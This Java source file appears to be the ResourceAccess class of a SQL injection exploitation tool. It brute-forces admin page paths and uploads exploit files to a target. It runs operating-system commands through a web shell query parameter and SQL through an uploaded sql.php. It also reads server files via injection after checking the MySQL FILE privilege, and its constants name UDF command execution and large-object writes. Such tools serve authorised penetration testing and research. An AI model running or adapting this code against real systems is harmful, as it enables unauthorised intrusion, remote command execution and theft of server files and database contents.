1
2
3
4
5
6
7
8
9
10
11 package com.jsql.model.accessible;
12
13 import com.jsql.model.InjectionModel;
14 import com.jsql.model.accessible.vendor.*;
15 import com.jsql.model.bean.database.MockElement;
16 import com.jsql.model.bean.util.Header;
17 import com.jsql.model.bean.util.Interaction;
18 import com.jsql.model.bean.util.Request;
19 import com.jsql.model.exception.JSqlException;
20 import com.jsql.model.suspendable.SuspendableGetRows;
21 import com.jsql.util.ConnectionUtil;
22 import com.jsql.util.LogLevelUtil;
23 import org.apache.commons.lang3.StringUtils;
24 import org.apache.logging.log4j.LogManager;
25 import org.apache.logging.log4j.Logger;
26
27 import java.io.File;
28 import java.io.IOException;
29 import java.io.InputStream;
30 import java.net.URI;
31 import java.net.URLEncoder;
32 import java.net.http.HttpHeaders;
33 import java.net.http.HttpRequest;
34 import java.net.http.HttpRequest.BodyPublishers;
35 import java.net.http.HttpResponse;
36 import java.net.http.HttpResponse.BodyHandlers;
37 import java.nio.charset.StandardCharsets;
38 import java.nio.file.Files;
39 import java.nio.file.Paths;
40 import java.time.Duration;
41 import java.util.*;
42 import java.util.concurrent.CompletionService;
43 import java.util.concurrent.ExecutionException;
44 import java.util.concurrent.ExecutorCompletionService;
45 import java.util.concurrent.ExecutorService;
46 import java.util.function.BinaryOperator;
47 import java.util.regex.Pattern;
48
49
50
51
52
53 public class ResourceAccess {
54
55 private static final Logger LOGGER = LogManager.getRootLogger();
56
57
58
59
60 private boolean isSearchAdminStopped = false;
61
62
63
64
65 private boolean isScanStopped = false;
66
67
68
69
70
71 private boolean isSearchFileStopped = false;
72
73
74
75
76 private final List<CallableFile> callablesReadFile = new ArrayList<>();
77 private final InjectionModel injectionModel;
78 private final ExploitSqlite exploitSqlite;
79 private final ExploitMysql exploitMysql;
80 private final ExploitOracle exploitOracle;
81 private final ExploitPostgres exploitPostgres;
82 private final ExploitHsqldb exploitHsqldb;
83 private final ExploitH2 exploitH2;
84 private final ExploitDerby exploitDerby;
85
86
87 public static final String WEB_CONFIRM_CMD = URLEncoder.encode("expr 133707330 + 10001", StandardCharsets.ISO_8859_1);
88 public static final String WEB_CONFIRM_RESULT = "133717331";
89 public static final String SQL_CONFIRM_CMD = "select 1337";
90 public static final String SQL_CONFIRM_RESULT = "| 1337 |";
91
92 public static final String SQL_DOT_PHP = "sql.php";
93 public static final String EXPLOIT_DOT_UPL = "exploit.upl";
94 public static final String EXPLOIT_DOT_WEB = "exploit.web";
95 public static final String UPLOAD_SUCCESSFUL = "Upload successful: ack received for {}{}";
96 public static final String UPLOAD_FAILURE = "Upload failure: missing ack for {}{}";
97
98 public static final String LOID_NOT_FOUND = "Exploit loid not found";
99 public static final String ADD_LOID = "loid#create";
100 public static final String WRITE_LOID = "loid#write";
101 public static final String READ_LOID = "loid#read";
102
103 public static final String DROP_FUNC = "func#drop";
104 public static final String ADD_FUNC = "body#add-func";
105 public static final String RUN_FUNC = "body#run-func";
106 public static final String BODY_CONFIRM = "body#confirm";
107 public static final String UDF_RUN_CMD = "udf#run-cmd";
108
109 public static final String TBL_CREATE = "tbl#create";
110 public static final String TBL_FILL = "tbl#fill";
111 public static final String TBL_DUMP = "tbl#dump";
112 public static final String TBL_DROP = "tbl#drop";
113 public static final String TBL_READ = "tbl#read";
114
115 public static final String FILE_READ = "file#read";
116
117
118 public static final String TEMPLATE_ERROR = "Command failure: %s\nTry '%s 2>&1' to get a system error message.\n";
119
120 public ResourceAccess(InjectionModel injectionModel) {
121 this.injectionModel = injectionModel;
122 this.exploitSqlite = new ExploitSqlite(injectionModel);
123 this.exploitMysql = new ExploitMysql(injectionModel);
124 this.exploitOracle = new ExploitOracle(injectionModel);
125 this.exploitPostgres = new ExploitPostgres(injectionModel);
126 this.exploitHsqldb = new ExploitHsqldb(injectionModel);
127 this.exploitH2 = new ExploitH2(injectionModel);
128 this.exploitDerby = new ExploitDerby(injectionModel);
129 }
130
131
132
133
134
135 public int createAdminPages(String urlInjection, List<String> pageNames) {
136 var matcher = Pattern.compile("^((https?://)?[^/]*)(.*)").matcher(urlInjection);
137 matcher.find();
138 String urlProtocol = matcher.group(1);
139 String urlWithoutProtocol = matcher.group(3);
140
141 List<String> folderSplits = new ArrayList<>();
142
143
144 if (urlWithoutProtocol.isEmpty() || !Pattern.matches("^/.*", urlWithoutProtocol)) {
145 urlWithoutProtocol = "/dummy";
146 }
147 String[] splits = urlWithoutProtocol.split("/", -1);
148 String[] folderNames = Arrays.copyOf(splits, splits.length - 1);
149 for (String folderName: folderNames) {
150 folderSplits.add(folderName +"/");
151 }
152
153 ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetAdminPage");
154 CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
155
156 var urlPart = new StringBuilder();
157 for (String segment: folderSplits) {
158 urlPart.append(segment);
159 for (String pageName: pageNames) {
160 taskCompletionService.submit(
161 new CallableHttpHead(
162 urlProtocol + urlPart + pageName,
163 this.injectionModel,
164 "check:page"
165 )
166 );
167 }
168 }
169
170 var nbAdminPagesFound = 0;
171 int submittedTasks = folderSplits.size() * pageNames.size();
172 int tasksHandled;
173 for (
174 tasksHandled = 0
175 ; tasksHandled < submittedTasks && !this.isSearchAdminStopped()
176 ; tasksHandled++
177 ) {
178 nbAdminPagesFound = this.callAdminPage(taskCompletionService, nbAdminPagesFound);
179 }
180
181 this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
182 this.isSearchAdminStopped = false;
183 this.logSearchAdminPage(nbAdminPagesFound, submittedTasks, tasksHandled);
184
185 return nbAdminPagesFound;
186 }
187
188 public int callAdminPage(CompletionService<CallableHttpHead> taskCompletionService, int nbAdminPagesFound) {
189 int nbAdminPagesFoundFixed = nbAdminPagesFound;
190
191 try {
192 CallableHttpHead currentCallable = taskCompletionService.take().get();
193 if (currentCallable.isHttpResponseOk()) {
194 var request = new Request();
195 request.setMessage(Interaction.CREATE_ADMIN_PAGE_TAB);
196 request.setParameters(currentCallable.getUrl());
197 this.injectionModel.sendToViews(request);
198
199 nbAdminPagesFoundFixed++;
200 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Found page: {}", currentCallable.getUrl());
201 }
202 } catch (InterruptedException e) {
203 LOGGER.log(LogLevelUtil.IGNORE, e, e);
204 Thread.currentThread().interrupt();
205 } catch (ExecutionException e) {
206 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
207 }
208 return nbAdminPagesFoundFixed;
209 }
210
211 public void logSearchAdminPage(int nbAdminPagesFound, int submittedTasks, int tasksHandled) {
212 var result = String.format(
213 "Searched %s/%s page%s: %s found",
214 tasksHandled,
215 submittedTasks,
216 tasksHandled > 1 ? 's' : StringUtils.EMPTY,
217 nbAdminPagesFound
218 );
219
220 if (nbAdminPagesFound > 0) {
221 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
222 } else {
223 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
224 }
225 }
226
227 public String checkUrls(String urlExploit, String nameExploit, BinaryOperator<String> biFuncGetRequest) {
228 String urlExploitFixed = urlExploit;
229 if (!urlExploitFixed.isEmpty()) {
230 urlExploitFixed = urlExploitFixed.replaceAll("/*$", StringUtils.EMPTY) +"/";
231 }
232 String url = urlExploitFixed;
233 if (StringUtils.isEmpty(url)) {
234 url = this.injectionModel.getMediatorUtils().getConnectionUtil().getUrlBase();
235 }
236 String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", StringUtils.EMPTY);
237 String urlProtocol;
238 if ("/".equals(urlWithoutProtocol)) {
239 urlProtocol = url.replaceAll("/+$", StringUtils.EMPTY);
240 } else {
241 urlProtocol = url.replace(urlWithoutProtocol, StringUtils.EMPTY);
242 }
243
244 List<String> directoryNames = new ArrayList<>();
245 String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", StringUtils.EMPTY).replaceAll("/+", "/");
246 if (urlWithoutFileName.split("/").length == 0) {
247 directoryNames.add("/");
248 }
249 for (String directoryName: urlWithoutFileName.split("/")) {
250 directoryNames.add(directoryName +"/");
251 }
252 String urlSuccess = this.getExploitUrl(nameExploit, directoryNames, urlProtocol);
253 if (urlSuccess != null) {
254 urlSuccess = biFuncGetRequest.apply(nameExploit, urlSuccess);
255 } else {
256 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit access failure: connection URL not found");
257 }
258 return urlSuccess;
259 }
260
261 private String getExploitUrl(String filename, List<String> directoryNames, String urlProtocol) {
262 ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetExploitUrl");
263 CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
264 var urlPart = new StringBuilder();
265
266 for (String segment: directoryNames) {
267 urlPart.append(segment);
268 taskCompletionService.submit(
269 new CallableHttpHead(
270 urlProtocol + urlPart + filename,
271 this.injectionModel,
272 "xplt#confirm-url"
273 )
274 );
275 }
276
277 String urlSuccess = null;
278 int submittedTasks = directoryNames.size();
279 for (var tasksHandled = 0 ; tasksHandled < submittedTasks ; tasksHandled++) {
280 try {
281 CallableHttpHead currentCallable = taskCompletionService.take().get();
282 if (currentCallable.isHttpResponseOk()) {
283 urlSuccess = currentCallable.getUrl();
284 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Connection successful to [{}]", currentCallable.getUrl());
285 break;
286 }
287 } catch (InterruptedException e) {
288 LOGGER.log(LogLevelUtil.IGNORE, e, e);
289 Thread.currentThread().interrupt();
290 } catch (ExecutionException e) {
291 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
292 }
293 }
294
295 this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
296 return urlSuccess;
297 }
298
299 public String callCommand(String urlCommand) {
300 return this.callCommand(urlCommand, false);
301 }
302
303 public String callCommand(String urlCommand, boolean isConnectIssueIgnored) {
304 String pageSource;
305 try {
306 pageSource = this.injectionModel.getMediatorUtils().getConnectionUtil().getSource(urlCommand, isConnectIssueIgnored);
307 } catch (Exception e) {
308 pageSource = StringUtils.EMPTY;
309 }
310
311 var regexSearch = Pattern.compile("(?s)<"+ DataAccess.LEAD +">(.*?)<"+ DataAccess.TRAIL +">").matcher(pageSource);
312 regexSearch.find();
313
314 String result;
315
316 try {
317 result = regexSearch.group(1);
318 } catch (IllegalStateException e) {
319 result = StringUtils.EMPTY;
320 if (!isConnectIssueIgnored) {
321 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", "command"));
322 }
323 }
324 return result;
325 }
326
327
328
329
330
331
332
333 public String runWebShell(String command, UUID uuidShell, String urlExploit) {
334 return this.runWebShell(command, uuidShell, urlExploit, false);
335 }
336 public String runWebShell(String command, UUID uuidShell, String urlExploit, boolean isConnectIssueIgnored) {
337 String result = this.callCommand(
338 urlExploit +"?c="+ URLEncoder.encode(command, StandardCharsets.ISO_8859_1),
339 isConnectIssueIgnored
340 );
341 if (StringUtils.isBlank(result)) {
342 result = String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", command);
343 }
344 var request = new Request();
345 request.setMessage(Interaction.GET_TERMINAL_RESULT);
346 request.setParameters(uuidShell, result);
347 this.injectionModel.sendToViews(request);
348 return result;
349 }
350
351
352
353
354
355
356
357
358
359 public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password) {
360 return this.runSqlShell(command, uuidShell, urlExploit, username, password, true);
361 }
362
363 public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password, boolean isResultSentToView) {
364 String result = this.callCommand(String.format(
365 "%s?q=%s&u=%s&p=%s",
366 urlExploit,
367 URLEncoder.encode(command, StandardCharsets.ISO_8859_1),
368 username,
369 password
370 ));
371
372 if (result.contains("<SQLr>")) {
373 List<List<String>> listRows = this.parse(result);
374 if (listRows.isEmpty()) {
375 result = "Result not found: check your credentials or review logs in tab Network\n";
376 } else {
377 List<Integer> listFieldsLength = this.parseColumnLength(listRows);
378 result = this.convert(listRows, listFieldsLength);
379 }
380 } else if (result.contains("<SQLm>")) {
381 result = result.replace("<SQLm>", StringUtils.EMPTY) +"\n";
382 } else if (result.contains("<SQLe>")) {
383 result = result.replace("<SQLe>", StringUtils.EMPTY) +"\n";
384 }
385
386 if (isResultSentToView) {
387 var request = new Request();
388 request.setMessage(Interaction.GET_TERMINAL_RESULT);
389 request.setParameters(uuidShell, result, command);
390 this.injectionModel.sendToViews(request);
391 }
392 return result;
393 }
394
395 private String convert(List<List<String>> listRows, List<Integer> listFieldsLength) {
396 var tableText = new StringBuilder("+");
397 for (Integer fieldLength: listFieldsLength) {
398 tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
399 }
400 tableText.append("\n");
401 for (List<String> listFields: listRows) {
402 tableText.append("|");
403 var cursorPosition = 0;
404 for (String field: listFields) {
405 tableText.append(StringUtils.SPACE)
406 .append(field)
407 .append(StringUtils.repeat(StringUtils.SPACE, listFieldsLength.get(cursorPosition) - field.length()))
408 .append(" |");
409 cursorPosition++;
410 }
411 tableText.append("\n");
412 }
413 tableText.append("+");
414 for (Integer fieldLength: listFieldsLength) {
415 tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
416 }
417 tableText.append("\n");
418 return tableText.toString();
419 }
420
421 private List<Integer> parseColumnLength(List<List<String>> listRows) {
422 List<Integer> listFieldsLength = new ArrayList<>();
423 for (
424 var indexLongestRowSearch = 0;
425 indexLongestRowSearch < listRows.get(0).size();
426 indexLongestRowSearch++
427 ) {
428 int indexLongestRowSearchFinal = indexLongestRowSearch;
429 listRows.sort(
430 (firstRow, secondRow) -> secondRow.get(indexLongestRowSearchFinal).length() - firstRow.get(indexLongestRowSearchFinal).length()
431 );
432 listFieldsLength.add(listRows.get(0).get(indexLongestRowSearch).length());
433 }
434 return listFieldsLength;
435 }
436
437 private List<List<String>> parse(String result) {
438 List<List<String>> listRows = new ArrayList<>();
439 var rowsMatcher = Pattern.compile("(?si)<tr>(<td>.*?</td>)</tr>").matcher(result);
440 while (rowsMatcher.find()) {
441 String values = rowsMatcher.group(1);
442 var fieldsMatcher = Pattern.compile("(?si)<td>(.*?)</td>").matcher(values);
443 List<String> listFields = new ArrayList<>();
444 listRows.add(listFields);
445
446 while (fieldsMatcher.find()) {
447 String field = fieldsMatcher.group(1);
448 listFields.add(field);
449 }
450 }
451 return listRows;
452 }
453
454 public HttpResponse<String> upload(File file, String url, InputStream streamToUpload) throws IOException, JSqlException, InterruptedException {
455 var crLf = "\r\n";
456 var boundary = "---------------------------4664151417711";
457
458 var streamData = new byte[streamToUpload.available()];
459 if (streamToUpload.read(streamData) == -1) {
460 throw new JSqlException("Error reading the file");
461 }
462
463 String headerForm = StringUtils.EMPTY;
464 headerForm += "--"+ boundary + crLf;
465 headerForm += "Content-Disposition: form-data; name=\"u\"; filename=\""+ file.getName() +"\""+ crLf;
466 headerForm += "Content-Type: binary/octet-stream"+ crLf;
467 headerForm += crLf;
468
469 String headerFile = StringUtils.EMPTY;
470 headerFile += crLf +"--"+ boundary +"--"+ crLf;
471
472 var httpRequest = HttpRequest.newBuilder()
473 .uri(URI.create(url))
474 .timeout(Duration.ofSeconds(15))
475 .POST(BodyPublishers.ofByteArrays(
476 Arrays.asList(
477 headerForm.getBytes(StandardCharsets.UTF_8),
478 Files.readAllBytes(Paths.get(file.toURI())),
479 headerFile.getBytes(StandardCharsets.UTF_8)
480 )
481 ))
482 .setHeader("Content-Type", "multipart/form-data; boundary=" + boundary)
483 .build();
484
485 var response = this.injectionModel.getMediatorUtils().getConnectionUtil().getHttpClient().build().send(httpRequest, BodyHandlers.ofString());
486 HttpHeaders httpHeaders = response.headers();
487 String pageSource = response.body();
488
489 Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
490 msgHeader.put(Header.URL, url);
491 msgHeader.put(Header.HEADER, ConnectionUtil.getHeadersMap(httpRequest.headers()));
492 msgHeader.put(Header.RESPONSE, ConnectionUtil.getHeadersMap(httpHeaders));
493 msgHeader.put(Header.SOURCE, pageSource);
494 msgHeader.put(Header.METADATA_PROCESS, "upl#multipart");
495 var request = new Request();
496 request.setMessage(Interaction.MESSAGE_HEADER);
497 request.setParameters(msgHeader);
498 this.injectionModel.sendToViews(request);
499 return response;
500 }
501
502
503
504
505
506
507 public boolean isMysqlReadDenied() throws JSqlException {
508 var sourcePage = new String[]{ StringUtils.EMPTY };
509 String resultInjection = new SuspendableGetRows(this.injectionModel).run(
510 this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getPrivilege(),
511 sourcePage,
512 false,
513 1,
514 MockElement.MOCK,
515 "privilege"
516 );
517
518 boolean readingIsAllowed = false;
519
520 if (StringUtils.isEmpty(resultInjection)) {
521 this.injectionModel.sendResponseFromSite("Can't read privilege", sourcePage[0].trim());
522 var request = new Request();
523 request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE);
524 this.injectionModel.sendToViews(request);
525 } else if ("false".equals(resultInjection)) {
526 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Privilege FILE not granted: files not readable by current user");
527 var request = new Request();
528 request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE);
529 this.injectionModel.sendToViews(request);
530 } else {
531 var request = new Request();
532 request.setMessage(Interaction.MARK_FILE_SYSTEM_VULNERABLE);
533 this.injectionModel.sendToViews(request);
534 readingIsAllowed = true;
535 }
536
537 return !readingIsAllowed;
538 }
539
540
541
542
543
544
545
546
547
548
549 public List<String> readFile(List<String> pathsFiles) throws JSqlException, InterruptedException, ExecutionException {
550 if (
551 this.injectionModel.getMediatorVendor().getVendor() == this.injectionModel.getMediatorVendor().getMysql()
552 && this.isMysqlReadDenied()
553 ) {
554 return Collections.emptyList();
555 }
556
557 var countFileFound = 0;
558 var results = new ArrayList<String>();
559
560 ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableReadFile");
561 CompletionService<CallableFile> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
562
563 for (String pathFile: pathsFiles) {
564 var callableFile = new CallableFile(pathFile, this.injectionModel);
565 taskCompletionService.submit(callableFile);
566 this.callablesReadFile.add(callableFile);
567 }
568
569 List<String> duplicate = new ArrayList<>();
570 int submittedTasks = pathsFiles.size();
571 int tasksHandled;
572
573 for (
574 tasksHandled = 0
575 ; tasksHandled < submittedTasks && !this.isSearchFileStopped
576 ; tasksHandled++
577 ) {
578 var currentCallable = taskCompletionService.take().get();
579 if (StringUtils.isNotEmpty(currentCallable.getSourceFile())) {
580 var name = currentCallable.getPathFile().substring(
581 currentCallable.getPathFile().lastIndexOf('/') + 1
582 );
583 String content = currentCallable.getSourceFile();
584 String path = currentCallable.getPathFile();
585
586 var request = new Request();
587 request.setMessage(Interaction.CREATE_FILE_TAB);
588 request.setParameters(name, content, path);
589 this.injectionModel.sendToViews(request);
590
591 if (!duplicate.contains(path.replace(name, StringUtils.EMPTY))) {
592 LOGGER.log(
593 LogLevelUtil.CONSOLE_INFORM,
594 "Folder exploit candidate: {}",
595 () -> path.replace(name, StringUtils.EMPTY)
596 );
597 }
598
599 duplicate.add(path.replace(name, StringUtils.EMPTY));
600 results.add(content);
601
602 countFileFound++;
603 }
604 }
605
606
607 for (CallableFile callableReadFile: this.callablesReadFile) {
608 callableReadFile.getSuspendableReadFile().stop();
609 }
610 this.callablesReadFile.clear();
611 this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
612 this.isSearchFileStopped = false;
613
614 var result = String.format(
615 "Searched %s/%s file%s: %s found",
616 tasksHandled,
617 submittedTasks,
618 tasksHandled > 1 ? 's' : StringUtils.EMPTY,
619 countFileFound
620 );
621
622 if (countFileFound > 0) {
623 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
624 } else {
625 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
626 }
627 return results;
628 }
629
630 public String getResult(String query, String metadata) throws JSqlException {
631 var sourcePage = new String[]{ StringUtils.EMPTY };
632 return new SuspendableGetRows(this.injectionModel).run(
633 query,
634 sourcePage,
635 false,
636 0,
637 MockElement.MOCK,
638 metadata
639 );
640 }
641
642 public String getResultWithCatch(String query, String metadata) {
643 var sourcePage = new String[]{ StringUtils.EMPTY };
644 try {
645 return new SuspendableGetRows(this.injectionModel).run(
646 query,
647 sourcePage,
648 false,
649 0,
650 MockElement.MOCK,
651 metadata
652 );
653 } catch (JSqlException ignored) {
654 return StringUtils.EMPTY;
655 }
656 }
657
658
659
660
661
662
663 public void stopSearchFile() {
664 this.isSearchFileStopped = true;
665 for (CallableFile callable: this.callablesReadFile) {
666 callable.getSuspendableReadFile().stop();
667 }
668 }
669
670 public void stopSearchAdmin() {
671 this.isSearchAdminStopped = true;
672 }
673
674
675
676
677 public ExploitSqlite getExploitSqlite() {
678 return this.exploitSqlite;
679 }
680
681 public ExploitMysql getExploitMysql() {
682 return this.exploitMysql;
683 }
684
685 public ExploitOracle getExploitOracle() {
686 return this.exploitOracle;
687 }
688
689 public ExploitPostgres getExploitPostgres() {
690 return this.exploitPostgres;
691 }
692
693 public boolean isSearchAdminStopped() {
694 return this.isSearchAdminStopped;
695 }
696
697 public void setScanStopped(boolean isScanStopped) {
698 this.isScanStopped = isScanStopped;
699 }
700
701 public boolean isScanStopped() {
702 return this.isScanStopped;
703 }
704
705 public ExploitHsqldb getExploitHsqldb() {
706 return this.exploitHsqldb;
707 }
708
709 public ExploitH2 getExploitH2() {
710 return this.exploitH2;
711 }
712
713 public ExploitDerby getExploitDerby() {
714 return this.exploitDerby;
715 }
716 }